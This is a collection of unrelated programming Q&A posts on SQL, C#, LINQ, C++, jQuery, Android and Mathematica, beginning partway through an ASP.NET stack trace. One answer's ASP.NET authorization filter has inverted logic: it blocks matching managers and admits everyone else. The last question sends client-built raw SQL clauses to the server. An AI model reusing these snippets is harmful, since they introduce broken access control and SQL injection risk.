System.Linq.Enumerable.ToList(IEnumerable`1 source) +58 ServiceDesk_Solution.Controllers.DBController.DB() in ***_Solution\ServiceDesk_Solution\Controllers\DBController.cs:16 lambda_method(Closure , ControllerBase , Object[] ) +96 System.Web.Mvc.ActionMethodDispatcher.Execute(ControllerBase controller, Object[] parameters) +51 System.Web.Mvc.ReflectedActionDescriptor.Execute(ControllerContext controllerContext, IDictionary`2 parameters) +409 System.Web.Mvc.ControllerActionInvoker.InvokeActionMethod(ControllerContext controllerContext, ActionDescriptor actionDescriptor, IDictionary`2 parameters) +52 System.Web.Mvc.&lt;&gt;c__DisplayClassd.&lt;InvokeActionMethodWithFilters&gt;b__a() +127 System.Web.Mvc.ControllerActionInvoker.InvokeActionMethodFilter(IActionFilter filter, ActionExecutingContext preContext, Func`1 continuation) +436 System.Web.Mvc.&lt;&gt;c__DisplayClassf.&lt;InvokeActionMethodWithFilters&gt;b__c() +61 System.Web.Mvc.ControllerActionInvoker.InvokeActionMethodWithFilters(ControllerContext controllerContext, IList`1 filters, ActionDescriptor actionDescriptor, IDictionary`2 parameters) +305 System.Web.Mvc.ControllerActionInvoker.InvokeAction(ControllerContext controllerContext, String actionName) +830 System.Web.Mvc.Controller.ExecuteCore() +136 System.Web.Mvc.ControllerBase.Execute(RequestContext requestContext) +111 System.Web.Mvc.ControllerBase.System.Web.Mvc.IController.Execute(RequestContext requestContext) +39 System.Web.Mvc.&lt;&gt;c__DisplayClass8.&lt;BeginProcessRequest&gt;b__4() +65 System.Web.Mvc.Async.&lt;&gt;c__DisplayClass1.&lt;MakeVoidDelegate&gt;b__0() +44 System.Web.Mvc.Async.&lt;&gt;c__DisplayClass8`1.&lt;BeginSynchronous&gt;b__7(IAsyncResult _) +42 System.Web.Mvc.Async.WrappedAsyncResult`1.End() +141 System.Web.Mvc.Async.AsyncResultWrapper.End(IAsyncResult asyncResult, Object tag) +54 System.Web.Mvc.Async.AsyncResultWrapper.End(IAsyncResult asyncResult, Object tag) +40 System.Web.Mvc.MvcHandler.EndProcessRequest(IAsyncResult asyncResult) +52 System.Web.Mvc.MvcHandler.System.Web.IHttpAsyncHandler.EndProcessRequest(IAsyncResult result) +38 System.Web.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() +8981789 System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean&amp; completedSynchronously) +184 -------------------------------------------------------------------------------- Version Information: Microsoft .NET Framework Version:4.0.30319; ASP.NET Version:4.0.30319.272 </code></pre> <p></strike></p>
13275654	0	 <p>You can do this with a merge..output to a table variable followed by an update.</p> <p><a href="http://sqlfiddle.com/#!3/6c36a/3">SQL Fiddle</a></p> <p><strong>MS SQL Server 2008 Schema Setup</strong>:</p> <pre><code>create table Items ( ItemsId int identity primary key, ItemName nvarchar(50) not null, ItemsLanguageTextId int null ); create table ItemsLanguageText ( ItemsLanguageTextId int identity primary key, Text nvarchar(50) not null ); insert into Items values('Name 1', null); insert into Items values('Name 2', null); insert into Items values('Name 3', null); </code></pre> <p><strong>Query 1</strong>:</p> <pre><code>declare @T table ( ItemsId int, ItemsLanguageTextId int ); merge ItemsLanguageText as T using ( select ItemsId, ItemName from Items where ItemsLanguageTextId is null ) as S on 0 = 1 when not matched then insert (Text) values (S.ItemName) output S.ItemsId, inserted.ItemsLanguageTextId into @T; update Items set ItemsLanguageTextId = T.ItemsLanguageTextId from @T as T where T.ItemsId = Items.ItemsId; </code></pre> <p><strong><a href="http://sqlfiddle.com/#!3/6c36a/3/0">Results</a></strong>:</p> <p><strong>Query 2</strong>:</p> <pre><code>select * from Items; </code></pre> <p><strong><a href="http://sqlfiddle.com/#!3/6c36a/3/1">Results</a></strong>:</p> <pre><code>| ITEMSID | ITEMNAME | ITEMSLANGUAGETEXTID | -------------------------------------------- | 1 | Name 1 | 13 | | 2 | Name 2 | 14 | | 3 | Name 3 | 15 | </code></pre> <p><strong>Query 3</strong>:</p> <pre><code>select * from ItemsLanguageText; </code></pre> <p><strong><a href="http://sqlfiddle.com/#!3/6c36a/3/2">Results</a></strong>:</p> <pre><code>| ITEMSLANGUAGETEXTID | TEXT | -------------------------------- | 13 | Name 1 | | 14 | Name 2 | | 15 | Name 3 | </code></pre>
1772094	0	 <p>I look at vertical space in code the way I look at paragraphs in written prose. Just as a paragraph is meant to group sentences together that have a common point or idea, lines that are related should be grouped together.</p> <p>The overall objective is to improve the readability of the code. Just as an article without any paragraphs would be difficult to read, so to is code without any vertical space. And just as with prose, there is a balance between composing paragraphs that are too short or too long. But in the end, it mostly comes down to personal style and preference.</p>
8836470	0	 <p>Linq was build with an functional style in mind. Using it the imperative way would not end up in elegant code. So don't transform after the query but in the query - put the logic in the projection section (select). (Much like Anthony's answer)</p> <pre><code>var str = (from i in Regex.Split("TheQuickBrownFox", "") select Regex.IsMatch(i, "[A-Z]") ? " " + i : i) .Aggregate((str1, str2) =&gt; str1 + str2); Console.WriteLine(str); </code></pre>
3671136	0	 <p>Write it in C first, compile and view the assembly listing to see what the compiler generated. This is the easiest way to learn. If you see an instruction that you don't understand look for it in the Intel Instruction Set Reference PDFs.</p>
29483549	0	 <p>I would define a question class that has a list of answers and return that. </p> <pre><code>public class Answer { public string AnswerText {get; set;} } public class Question { public List&lt;Answer&gt; Answers {get; set; } } </code></pre> <p>In your class that calls getQuestion, you should return the question object you're looking for that contains its answers. </p> <pre><code>public class MainClass { public List&lt;Question&gt; Questions {get; set;} public Question GetQuestion(/* some criteria, like question number or something */) { var selectedQuestion = // get the question from Questions based on some criteria return selectedQuestion; } } </code></pre> <p>And then do whatever you need to do in the presentation layer for the end-user to show them the question and answers. </p>
19315061	0	 <p>You can get path of executable of default browser from registry (look at the following answer for example: <a href="http://stackoverflow.com/a/17599201/2870402">http://stackoverflow.com/a/17599201/2870402</a>) and create new process passing the URL as the parameter:</p> <pre><code>string pathToExecutable = ...; string url = @"file:///c:\Projects\HTMLTest\Debug\help\index.htm#Modules\Administration\UserInterface\MainWindow\Processing.htm"; System.Diagnostics.Process.Start(pathToExecutable, url); </code></pre>
16914759	0	 <p>The string should start (<code>^</code>) with any character (<code>.</code>) followed by at least 5 (<code>{5,}</code>) non witespace characters (<code>[\\S]</code>) then it should end (<code>$</code>)</p>
21098752	0	 <p>Like @CL was saying you can't have 2 records with the same <code>PRIMARY KEY</code></p> <p>this Table should be built with 3 columns.</p> <ol> <li><code>A_ID</code> PRIMARY KEY AUTO INCREMENT NOT NULL</li> <li><code>time</code> DATETIME (probably <code>NOT NULL</code> as well</li> <li><code>data</code> REAL</li> </ol> <hr> <p>in other words, Never set the Primary key in your code, let the database auto increment it for you, or use a GUID. </p> <p>this line </p> <pre><code>data=(1,2) </code></pre> <p>is the only thing that is being inserted into your database. so the only record in the database will be the one you insert, which is <code>1,2</code></p>
25405933	0	 <p>I can not add my solution as comment. so writing here.</p> <p>I was facing the same issue. Root cause was Images.xcassets folder. This image folder got corrupted. Solution. Delete existing "Images.xcassets". Create new black project and drag the Images.xcassets from new projects to existing project.</p> <p>If anyone facing this issue. Try this at least once.</p>
27088277	0	 <p>The type is incomplete, like it says. This is not legal (intrusive containers need to know the implementation details - bases, size etc. - at instantiation time).</p> <p>The documentation specifically mentions that you should avoid deducing hook types when you do this kind of 'nested' use.</p> <p>Given this, there are several ways to fix it:</p> <ol> <li><p>You could just shuffle things around: <strong><a href="http://coliru.stacked-crooked.com/a/d32fc155b70a8889" rel="nofollow">Live On Coliru</a></strong>.</p></li> <li><p>If you really would like <code>InputBufferSglList</code> to be a global typedef, of course, you can just alias it: <strong><a href="http://coliru.stacked-crooked.com/a/d0f70d45810bc94e" rel="nofollow">Live On Coliru</a></strong></p></li> <li><p><strong>UPDATE</strong> To the comment, it seems you're really insisting on making this a forward-declared list type, and you can, as described here <a href="http://www.boost.org/doc/libs/1_57_0/doc/html/intrusive/recursive.html" rel="nofollow">in the documentation</a>:</p> <pre><code>typedef boost::intrusive::slist_base_hook&lt;&gt; InputBufferSglHook; class InputBufferSglNode; // list typedef boost::intrusive::slist&lt; InputBufferSglNode, boost::intrusive::base_hook&lt;InputBufferSglHook&gt;, boost::intrusive::cache_last&lt;true&gt; &gt; InputBufferSglList; typedef InputBufferSglList::iterator InputBufferSglIterator; </code></pre> <p>Job Done. See it <strong><a href="http://coliru.stacked-crooked.com/a/4e4b79fa1acef65e" rel="nofollow">Live On Coliru</a></strong> too.</p></li> </ol> <h3>Full Demo</h3> <p>The third version in full, for future reference:</p> <pre><code>#include &lt;boost/intrusive/slist.hpp&gt; typedef boost::intrusive::slist_base_hook&lt;&gt; InputBufferSglHook; class InputBufferSglNode; // list typedef boost::intrusive::slist&lt; InputBufferSglNode, boost::intrusive::base_hook&lt;InputBufferSglHook&gt;, boost::intrusive::cache_last&lt;true&gt; &gt; InputBufferSglList; typedef InputBufferSglList::iterator InputBufferSglIterator; class InputBufferSglNode : public InputBufferSglHook { public: InputBufferSglNode(const void* buffer, size_t size); ~InputBufferSglNode() {}; // copy 'size_t' bytes from list to target, if list doesn't have enough space, method shall return false static bool copy_buffer_from_list(InputBufferSglList &amp;list, InputBufferSglIterator &amp;iter, size_t &amp;offset_in_node, const InputBufferSglIterator&amp; end, uint8_t *target, size_t size); void reset(); public: const void *m_buffer; size_t m_size; }; // empty list const InputBufferSglList s_EMPTY_INPUT_BUFF_SGL = InputBufferSglList(); InputBufferSglNode::InputBufferSglNode(const void* buffer, size_t size) : InputBufferSglHook(), m_buffer(buffer), m_size(size) { // empty } void InputBufferSglNode::reset() { m_buffer = nullptr; m_size = 0; } bool InputBufferSglNode::copy_buffer_from_list(InputBufferSglList &amp;list, InputBufferSglIterator &amp;iter, size_t &amp;offset_in_node, const InputBufferSglIterator&amp; end, uint8_t *target, size_t size) { // implementation } int main() { } </code></pre>
30901882	0	 <p>Works for me:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$('.editbtn').click(function() { $(this).html($(this).html() == 'edit' ? 'modify' : 'edit'); });</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"&gt;&lt;/script&gt; &lt;table&gt; &lt;tr&gt; &lt;td&gt; &lt;button class="editbtn"&gt;edit&lt;/button&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;button class="editbtn"&gt;edit&lt;/button&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;button class="editbtn"&gt;edit&lt;/button&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;button class="editbtn"&gt;edit&lt;/button&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt;</code></pre> </div> </div> </p>
20367715	0	Shared events text on search results <p>We have a multisite solution . It looks like </p> <pre><code>Sitecore - Contenent -Country one -Country Two .... -Contry X </code></pre> <p>We have shared events for country sites:</p> <pre><code> /Global/Events/Event One /Global/Events/Events Two .... /Global/Events/Events X </code></pre> <p>These events are displayed on Country Site . My problem is when we search on country site text displayed on events doesn't appear on search results.</p>
36503261	0	 <p>If you want to do it with DSC, here's a sample: <a href="https://github.com/bmoore-msft/AzureRM-Samples/tree/master/VMDSCInstallFile" rel="nofollow">https://github.com/bmoore-msft/AzureRM-Samples/tree/master/VMDSCInstallFile</a>. Ed's answer might be a simpler approach though. The key here is getting the credentials to the VM to be able to pull from storage. That means whether you're using DSC or a custom script, you need to get the location/uri and a sasToken to the script (unless the files are unsecured). The DSC sample above will give you a way to pass the uri/token that will work in either workflow. Look at the PS script in the root to see how the uri &amp; token are created and passed to the template deployment.</p>
40279061	0	 <p>You can use the time function </p> <pre><code>import time start = time.time() #do stuff end = time.time() logger.debug("time:{0}".format(end-start)) </code></pre>
41028112	0	How to use my api in Flexapp? <p>I'm using restful service with slim framework.</p> <p>I'm using <a href="http://flexapp.com/" rel="nofollow noreferrer">FlexAPP</a> for Mobile app developing without knowing any code.</p> <p>example: <a href="http://coenraets.org/blog/2011/12/restful-services-with-jquery-php-and-the-slim-framework/" rel="nofollow noreferrer">http://coenraets.org/blog/2011/12/restful-services-with-jquery-php-and-the-slim-framework/</a></p> <p>How can I use this API to pull the JSON data?</p> <ol> <li>I created main page and second page.</li> <li>That redirects to "second page" when the "main page image" is clicked</li> <li>I creating an invisible label on "second page" and I'm using "change value" to label.</li> <li>My label value is my article ID value.</li> </ol> <p>My API has this information:</p> <ul> <li><code>wine_title</code>,</li> <li><code>wine_description</code>,</li> <li><code>article</code>, and</li> <li><code>image</code></li> </ul> <p>my app screenshot: <a href="http://prntscr.com/dgn7ol" rel="nofollow noreferrer">http://prntscr.com/dgn7ol</a></p> <p>How do I get the variable?</p>
12972853	0	Generating random string by TypoScript <p>Is it possible to auto generate a mixed string of digits and letters by TypoScript, e.g. <code>12A54</code> or something similar?</p>
34865334	0	 <p>By default, ISO-8859-1 encoding is used when reading properties files. Characters not available in that encoding must be converted using Unicode escapes ("\u1234"), e.g. using the <a href="http://docs.oracle.com/javase/8/docs/technotes/tools/windows/native2ascii.html" rel="nofollow">native2ascii</a> tool. See <a href="http://stackoverflow.com/questions/4659929/how-to-use-utf-8-in-resource-properties-with-resourcebundle">this answer</a> to a related question for some more details.</p> <p>Alternatively, you could plug in a custom <code>ResourceBundleLocator</code> which reads properties using UTF-8 encoding. The Hibernate Validator reference guide <a href="http://docs.jboss.org/hibernate/stable/validator/reference/en-US/html_single/#section-resource-bundle-locator" rel="nofollow">describes</a> how to do this. As a starting point, you could take <a href="https://github.com/hibernate/hibernate-validator/blob/master/engine/src/main/java/org/hibernate/validator/resourceloading/PlatformResourceBundleLocator.java" rel="nofollow">PlatformResourceBundleLocator</a> and adapt it as per your requirements.</p>
12326604	0	Mathematica: Plotting a module with FindRoot in it <p>I run into this problem occasionally, and I haven't found a way around it. It usually happens when I'm finding the root of an equation, and want to maximize/minimize/plot that root according to some parameter. So I try to wrap the the code in a module so it can all be executed with just an input number, but it won't work inside functions like Plot. For example:</p> <pre><code>f[din_] := Module[{d = din}, sol = NDSolve[{y'[x] == y[x], y[0] == 1}, y[x], {x, 0, 10}]; t1 = Flatten[FindRoot[y[x] - d /. sol, {x, 1}]]; x /. t1 ] f[2] f[2.5] f[3] Plot[f[x], {x, 2, 3}] </code></pre> <p>The calls to f with a number all work as expected, but the f in the Plot function seems to be evaluated with the symbol 'x' - or something and just gives a lot of error text.</p> <p>Any way around this?</p> <p>Looking around the forums I found some suggestions for similar problems - like making the definition like this:</p> <pre><code> f[din_?NumericQ]:= </code></pre> <p>and I tried everything I could but nothing seems to make a difference. I'm using Mathematica 8.0</p>
25411166	0	Progressbar for two or more operations <p>I have this code in doInBackground method of an AsyncTask:</p> <pre><code> for (int i = 0; i &lt; lenght; i++) { // Do something count++; publishProgress(count * 100 / lenght); } </code></pre> <p>and all works fine. If i add another operation, how to reflect this with the progress bar?</p> <p>Now i have this code:</p> <pre><code> for (int i = 0; i &lt; lenght1; i++) { // Do something count++; publishProgress(count * 100 / lenght1); } for (int i = 0; i &lt; lenght2; i++) { // Do something count++; publishProgress(count * 100 / lenght2); } </code></pre> <p>How to make the bar start from 0 when operation 1 starts and finish at 100 when operation 2 ends? I tried to change count*100 to count*50 but it seems not to be the right way...</p>
8658092	0	I need to parse the XML file in my android application. I dont know how many nodes it got <p>My activity class look like this:</p> <pre><code>AssetManager assetmgr= getAssets(); String list[] = assetmgr.list("subdir"); if (list != null) { DocumentBuilder builder =DocumentBuilderFactory.newInstance().newDocumentBuilder(); Document doc = builder.parse(getAssets().open("subdir/fullSurvey.xml")); </code></pre> <p>xml object class looks like this:</p> <pre><code>NodeList root = doc.getElementsByTagName("root"); NodeList nlQuestions = root.item(0).getChildNodes(); QuestionObject[] allQuestions = new QuestionObject[nlQuestions.getLength()]; for (int i = 0; i &lt; nlQuestions.getLength(); i++) { Node question = nlQuestions.item(i); NodeList childNodes = question.getChildNodes(); QuestionObject x = new QuestionObject(); for (int j = 0; j &lt; childNodes.getLength(); j++) { Node child = childNodes.item(j); if (child.getNodeName() !="#text") { Questions t = Questions.valueOf(child.getNodeName()); // etc. </code></pre> <p>I dont know how to parse xml file according to attribute value</p>
16098167	0	 <p>Its a rails method. You can get into a rails console by <code>rails c</code> and pass <code>include ActionView::Helpers::DateHelper</code>. Then work around something like</p> <pre><code>t = Time.parse("2013-04-19 11:07:37 +0530") time_ago_in_words(t) </code></pre> <p>HTH</p>
10339384	0	 <p>Here is a stab at a solution. It needs a bit of cleanup but should give you everything you need.</p> <p>Create a custom ActionFilter, and then decorate your methods with it. </p> <pre><code>[ManagerIdAuthentication] public ActionResult Details(int id) { // Gets executed if the filter allows it to go through. } </code></pre> <p>The next class can be created in a separate library so you can include it in all your actions that require this validation.</p> <pre><code>public class ManagerIdAuthentication : ActionFilterAttribute { public override void OnActionExecuting(ActionExecutingContext filterContext) { // the next line needs improvement, only works on an httpGet since retrieves // the id from the url. Improve this line to obtain the id regardless of // the method (GET, POST, etc.) var id = filterContext.HttpContext.Request.QueryString["id"]; var employee = employeeRepository.Get(id); var user = filterContext.HttpContext.User.Identity; if (employee.managerId == user.managerId) { var res = filterContext.HttpContext.Response; res.StatusCode = 402; res.End(); filterContext.Result = new EmptyResult(); //may use content result if want to provide additional info in the error message. } else { // OK, let it through. } } } </code></pre>
37668301	1	Move Rows Up By One Of Specified Column In Pandas <p>I have a file like this:</p> <pre><code>value1, value2, value3, value4, value5 NAN NAN value8, value9, value0 value6, value7, NAN NAN NAN </code></pre> <p>And I would like to push row 3 up to do the following:</p> <pre><code>value1, value2, value3, value4, value5 value6, value7, value8, value9, value0 NAN NAN NAN NAN NAN </code></pre> <p>I would also like the rows below these rows to move up as well.</p> <p>How is this done in pandas?</p>
3084255	0	 <p>Try to initialize the object linked to the field in the previous action method.</p> <p>In your java File:</p> <pre><code>X object = new X() ; object.setDesc(""); request.setAttribute("theFormObject",object); </code></pre> <p>In your JSP:</p> <pre><code>&lt;s:textarea name="theFormObject" property="desc" ... /&gt; </code></pre>
28065131	0	 <p><strong>Specific Photo would be something like this:</strong></p> <pre><code>//photo_id just example $photo_id = '1'; SELECT pt.id as id, pt.photo_id as photo_id, pt.tag_id as tag_id, t.tag_title, p.photo_title, p.path FROM photos p INNER JOIN photo_tags pt ON pt.photo_id = $photo_id INNER JOIN tags t ON t.tag_id = pt.tag_id </code></pre> <p><strong>All Phosts:</strong></p> <pre><code>SELECT pt.id as id, pt.photo_id as photo_id, pt.tag_id as tag_id, t.tag_title, p.photo_title, p.path FROM photos p INNER JOIN photo_tags pt ON pt.photo_id = p.photo_id INNER JOIN tags t ON t.tag_id = pt.tag_id </code></pre>
8294891	0	 <p>Good call on the thread dump. Try issuing a Conn.stop(). It seems the JMS client still has non daemon threads running</p>
4810935	0	 <p>I chalk this one up to bad drivers.</p>
34915726	0	Why is the slider not updating the label when I make the slider programmatically? <p>I made a slider and label <strong>PROGRAMMATICALLY</strong>. I wanted the label to display the value of the slider, but the label only displays the value I initially assigned.</p> <p>Code:</p> <pre><code>var num: CGFloat = 9 override func viewDidLoad() { let label = UILabel(frame: CGRectMake(0, 0, 60, 40)) label.text = "\(num)" self.view.addSubview(label) let slider = UISlider(frame:CGRectMake(0, 0, 60, 30)) slider.value = Float(num) slider.addTarget(self, action: "changedSliderValue:", forControlEvents: .ValueChanged) self.view.addSubview(slider) } func changedSliderValue(sender: UISlider!){ num = CGFloat(sender.value) label.text = "\(num)" } </code></pre> <p>When I did <code>print(label.text!)</code>, it showed me that <code>label.text</code> was changing as I changed the slider value. But then, why doesn't the label change on my view controller?</p>
32844803	0	 <p>Since your file is not a valid JSON, you can use <code>eval</code> (it's a dirty hack but it works), example :</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>data = '{name:"sda"}'; eval('foo = ' + data); console.log(foo);</code></pre> </div> </div> </p>
36510826	0	 <p>You're problem is that you are trying to pass data in STRING FORMAT. In your script you pass the $row out of while loop so it doesn't pass anything useful for you. If you have more than one button you can't use ID ATTRIBUTE but you have to use CLASS. Set a data-id attribute so you can pass the value from the database and set an ID to the input so you can take its value also. Try this:</p> <pre><code>&lt;?php if(mysqli_num_rows($result)){ while($row = mysqli_fetch_assoc($result)){ print "&lt;div class='item col-xs`-4 col-lg-4'&gt;". "&lt;div class='row'&gt;". "&lt;div class='col-xs-10'&gt;". "&lt;p class='list-group-item-text'&gt;". "&lt;input type='text' class='form-control' id='input-" . $row["id"] . "'&gt;". "&lt;button data-id='". $row["id"] . "' class='mybutton btn btn-success'&gt;Calculate&lt;/button&gt;". "&lt;/div&gt;". "&lt;/div&gt;". "&lt;/div&gt;"; } } ?&gt; &lt;script type="text/javascript"&gt; $(document).ready(function(){ $(".mybutton").on("click", function(){ var myid = $(this).attr('data-id'); var myinput = $('#input-'+myid).val(); alert("MY ID IS: " + myid); alert("MY INPUT VALUE IS: " + myinput); }); }); &lt;/script&gt; </code></pre>
2727848	0	 <p>If you want to send the data using <code>POST</code> you'll need to bring those variables down as hidden input fields on your form before your users clicks submit:</p> <pre><code>&lt;input type="hidden" name="firstname" value="&lt;?php echo($_SESSION['firstname']); ?&gt;" /&gt; &lt;input type="hidden" name="surname" value="&lt;?php echo($_SESSION['surname']); ?&gt;" /&gt; &lt;input type="hidden" name="age" value="&lt;?php echo($_SESSION['age']); ?&gt;" /&gt; </code></pre> <p>Alternatively you could just reference the <code>$_SESSION</code> when your at the processing stage, if this is applicable.</p>
3064377	0	Introduction into video compression tech <p>Is it useful to study the H.261 specification for an introduction into modern video compression technology, or should I start somewhere else? I'm not sure where to start, but H.261 seems simple enough to make it easy to grasp the concepts.</p>
13744019	0	 <p>As the forum post you point to says, Attachments aren't implemented in the OpenNETCF Mail code. We just never got around to doing it. An email with attachments is simply multipart MIME message, which is not terribly complex and is <a href="http://www.w3.org/Protocols/rfc1341/7_2_Multipart.html" rel="nofollow">covered in RFC 1341</a>. You would have to extend the code to build up a multipart MIME message, and then set the appropriate content-type.</p>
26322174	0	Microsoft Visual Studio 2013 Command Prompt Truncates <p>When I print out my results in C++ (multiple, multiple lines are printed) my output gets truncated by the command prompt attached to Visual Studio. I tried changing my buffer size via the OS preferences, but it seems as though VS has their own settings. I have tried finding the answer to this problem to no avail. If anyone can help out it would be much appreciated!</p>
36428996	0	Get most viewed youtube videos for the last 7 days <p>Is there any way to search in youtube api for the most viewed videos in last 7 days?</p> <p>It's good if i can filter the videos over 1000 views.</p> <p>Thanks in advance.</p>
29832169	0	 <p>Maybe I did not understand the question right, but isnt it as simple as use the hidden class?</p> <pre><code>&lt;li class="hidden-xs"&gt;&lt;a href="#"&gt;Action&lt;/a&gt;&lt;/li&gt; </code></pre>
27953649	0	 <p>Even if you look up the method in both cases (i.e. before 2nd and 3rd loop), the first lookup takes way less time than the second lookup, which should have been the other way around and less than a regular method call on my machine.</p> <p>Neverthless, if you use the 2nd loop with method lookup, and <code>System.out.println</code> statement, I get this:</p> <pre class="lang-none prettyprint-override"><code>regular call : 740 ms look up(2nd loop) : 640 ms look up ( 3rd loop) : 800 ms </code></pre> <p>Without <code>System.out.println</code> statement, I get:</p> <pre class="lang-none prettyprint-override"><code>regular call : 78 ms look up (2nd) : 37 ms look up (3rd ) : 112 ms </code></pre>
12450365	0	Checking if divisible with 90+180*n <p>I want, in php, to check if $var1 == 90+180*n</p> <p>Where n is all natural numbers, ie. 1,2,3,4...</p> <p>Thanks in advance.</p>
7443951	0	 <p>When you modify the dom tree, you modify it in memory, but the original file where this dom tree comes from is not affected. You need to write the modified dom tree to the file in order to persist the changes you have made in memory. </p> <p>It's exactly the same as if you read a whole file in a StringBuilder. Modifying the StringBuilder won't magically write the new content to the file.</p> <p>See <a href="http://java.sun.com/j2ee/1.4/docs/tutorial/doc/JAXPXSLT4.html" rel="nofollow">http://java.sun.com/j2ee/1.4/docs/tutorial/doc/JAXPXSLT4.html</a> for example code to write a DOM tree to a file.</p>
12308086	0	 <p>By default all the controls in WPF have a default <code>ContextMenu</code> that allows copy, paste and cut. You can disable this menu by setting this property as <code>“{x:Null}”</code>, but the keys associated with the menu options still work. In order to disable this commands we can use the <code>DataObject</code> class, which have handlers to attach any <code>DepencencyObject</code> in case on Copy or Paste:</p> <pre><code>DataObject.AddPastingHandler(control, this.OnCancelCommand); DataObject.AddCopyingHandler(control, this.OnCancelCommand); </code></pre> <p>Finally in the event handler we need to cancel the current command:</p> <pre><code>private void OnCancelCommand(object sender, DataObjectEventArgs e) { e.CancelCommand(); } </code></pre> <p>The CancelCommand method will cancel any <code>ApplicationCommand.Copy, ApplicationCommand.Paste</code> and ApplicationCommand.Cut sent over the control.Now if you want to enable copying than delete the dateobject calling <code>AddCopyingHandler</code> code and it will work than.</p>
25062571	0	 <p><code>Mainclass</code> class does not have a method with name <code>SetName</code> so the error <code>The method Setname(String) is undefined for the type Mainclass".</code></p>
28614445	0	 <p>You did not set the flag, in your <code>findLonelyInteger()</code> method's first <code>if</code> condition!</p> <pre><code>if ((i+1) == inputLength) { System.out.println("Lonely Integer: " + inputArray[i]); foundLonelyInteger = true; // --&gt; HERE break; } </code></pre> <p>Command Prompt? Start using Eclipse! And learn debugging!</p>
2130059	0	 <p>Sounds like the mysqld-nt's network connections are being exhausted hence the telnet fails and a restart cures it, are you using too many connections, try increasing the connections allowed/permitted for the server itself.</p> <p>Hope this helps, Best regards, Tom.</p>
33474952	0	 <p>Login into the FIWARE Cloud Portal with your credentials. Press on <em>Cloud link</em> on top, then you should see a menu to the left and go to <em>Compute->Images</em>.</p> <p>All the images available in the FIWARE Catalog will be displayed. You can always deploy a VM from any of the images by pressing the <em>Lauch</em> bottom that appears at the right side of the images.</p> <p>BR Jesus</p>
28194149	0	 <p><em>Update:</em></p> <p>The original answer (below) still applies, but given that the form is actually loaded using AJAX, you can't bind the event listeners in the <code>$(document).ready</code> callback. The best option for you is to use event delegation. This is done by attaching an event listener to a DOM element that <em>does</em> exist from the start, but have that listener pick up on events for elements that might be added later on. For example: the body element will always exist, so you can listen for a form submission there, whether or not that form exists doesn't matter:</p> <pre><code>$('body').on('submit', '#form-id', function(e) { console.log('#form-id was submitted, do AJAX =&gt; submission stopped'); return false; //or e.preventDefault(); e.stopPropagation(); }); </code></pre> <p>The why and how this works is very well explained <a href="http://www.quirksmode.org/js/events_order.html" rel="nofollow">here</a>. It boils down to the fact that all events pass through all of the parent DOM elements of the target node, so you can attach listeners anywhere in the DOM, and handle the events before they reach their target.<br> I think <a href="http://stackoverflow.com/a/17352923/1230836">this old answer of mine</a> might explain a thing or 2, too. It doesn't use jQ, but it contains a simplified version of the code that jQ uses internally for delegation.</p> <hr> <p>You're preventing the default effects of the click event on <code>$('#edit-comment')</code>, but that event still propagates through to the form. You might want to add <code>e.stopPropagation()</code>, too. Or simply <code>return false;</code> from the callback (which prevents the default <em>and</em> stops propagation).</p> <p>However, a better way to prevent the form from being submitted is to use the <code>submit</code> event, and stop the submission there:</p> <pre><code>$('#form-id').on('submit', function(e) { console.log('Do ajax call here'); return false; //or e.preventDefault(); e.stopPropagation(); }); </code></pre>
16051074	0	 <ol> <li>Have a Version table in the database</li> <li>Use a <a href="http://weblogs.asp.net/bradleyb/archive/2005/12/02/432150.aspx" rel="nofollow">custom MSBuild Task</a> to get the build number</li> <li>You can update a sql file with the <a href="http://benchmarkitconsulting.com/colin-stasiuk/2009/02/27/merge-statement-upsert-with-working-example/" rel="nofollow">'MERGE'</a> with build number using <a href="http://stackoverflow.com/questions/8658972/using-msbuild-i-want-to-update-a-config-file-with-values-from-teamcity">FileUpdate MSBuild community task </a></li> <li>Execute it as part of deployment.</li> </ol> <p>Now, you'll have same version number in both database &amp; your assemblies.</p>
38905262	0	SELECT with date field in WHERE clause fails via Ajax <p>A jquery builder (from <a href="http://querybuilder.js.org/" rel="nofollow">http://querybuilder.js.org/</a> ) is used to let the user pick a date and further select data for a DataTables (datatables.net/ ) via a PHP function.</p> <p>The DataTables and especially Ajax function looks like this:</p> <pre><code>var table = $(id).DataTable({ serverSide: true, searching: true, processing: true,, ajax: { url: "controllers/myAjax.php", type: "POST", data: result } }); </code></pre> <p>The object passed as <em>data</em> is defined by queryBuilder and appended to my query string in the PHP script. To nail things down I pass the data as plain SQL (<a href="http://querybuilder.js.org/plugins.html#import-export" rel="nofollow">http://querybuilder.js.org/plugins.html#import-export</a>). In my problem test case this is:</p> <pre><code>WHERE birthdate &lt; '1990-01-01' </code></pre> <p>This would result in the SELECT query:</p> <pre><code>SELECT * from table_1 WHERE birthdate &lt; '1990-01-01' </code></pre> <p>This query throws a MySQL error:</p> <pre><code>"[...] check the manual that corresponds to your MySQL server version for the right syntax to use near '\'1990-01-01\' " </code></pre> <p>Obviously the date doesn't get escaped correctly. But when I enter exactly this query to my MySQL workbench, the server executes and returns a correct set of results. Even more, the workbench doesn't care if I use single quote (') or double quote ("). </p> <p>Further, I tried to manually remove those escape chars using PHP str_replace. The function then returns values, but obviously interpreted as int and breaking other queries (like equal ID). Same goes for msqli.real-escape-string (<a href="http://php.net/manual/de/mysqli.real-escape-string.php" rel="nofollow">http://php.net/manual/de/mysqli.real-escape-string.php</a>). </p> <p>Another approach I tried was to change the dataType of the Ajax function a little bit - but basically I am sending form-encoded data, so the default type for this should be fine? </p> <p>So why does (only) the date field get escaped in a wrong manner? Is there any rather quick fix for this, before I have to write my own PHP functions for accessing the DB? </p>
